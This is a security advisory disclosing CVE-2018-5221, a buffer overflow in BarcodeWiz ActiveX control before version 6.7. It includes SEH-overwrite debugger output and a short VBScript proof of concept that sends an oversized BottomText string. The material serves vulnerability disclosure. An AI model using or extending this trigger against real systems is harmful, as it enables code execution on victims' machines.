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BarcodeWiz ActiveX Control < 6.7 - Buffer Overflow (PoC)
来源:hyp3rlinx.altervista.org 作者:hyp3rlinx 发布时间:2018-01-09  
[+] Credits: John Page (aka hyp3rlinx)     
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/BARCODEWIZ-v6.7-ACTIVEX-COMPONENT-BUFFER-OVERFLOW.txt
[+] ISR: ApparitionSec           
 
 
 
Vendor:
=================
www.barcodewiz.com
 
 
Product:
=============
BarcodeWiz ActiveX Control < 6.7
 
BarCodeWiz OnLabel. Generates dynamic barcodes from your imported Excel, CSV, or Access files. Print auto incrementing barcodes;
Choose from hundreds of label layouts; Export as PDF or XPS.
 
 
Vulnerability Type:
===================
Buffer Overflow
 
 
CVE Reference:
==============
CVE-2018-5221
 
 
Security Issue:
================
BarcodeWiz.DLL BottomText and TopText propertys suffer from buffer overflow vulnerability resulting in (SEH) "Structured Exceptional Handler" overwrite .
This can be exploited by a remote attacker to potentially execute arbitrary attacker supplied code. User would have to visit a malicious webpage using
InternetExplorer where the exploit could be triggered.
 
 
SEH chain of main thread
Address    SE handler
0018DAC0   kernel32.754E48F3
0018EE34   41414141
41414141   *** CORRUPT ENTRY ***
 
 
Exception Code: ACCESS_VIOLATION
Disasm: 2045665 MOV [EDX+ECX],AL    (BarcodeWiz.DLL)
 
SEH Chain:
--------------------------------------------------
1   41414141   
 
 
Called From                   Returns To                   
--------------------------------------------------
BarcodeWiz.2045665            BarcodeWiz.202FF50           
BarcodeWiz.202FF50            41414141                     
41414141                      41414141                     
41414141                      41414141                     
41414141                      41414141                     
41414141                      41414141                     
41414141                      41414141  
 
 
Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data 
IPersist Safe:  Safe for untrusted: caller,data 
IPStorage Safe:  Safe for untrusted: caller,data 
 
 
Exploit/POC:
=============
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='VICTIM' />
<script language='vbscript'>
 
PAYLOAD=String(12308, "A")
 
VICTIM.BottomText = PAYLOAD
 
</script>
 
 
 
 
Network Access:
===============
Remote
 
 
 
Severity:
=========
High
 
 
 
Disclosure Timeline:
=============================
Vendor Notification: December 26, 2017
Vendor Acknowledgement: January 2, 2018
Vendor "updated version released this week." : January 2, 2018
January 6, 2018 : Public Disclosure
 
 
 
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
 
hyp3rlinx
 
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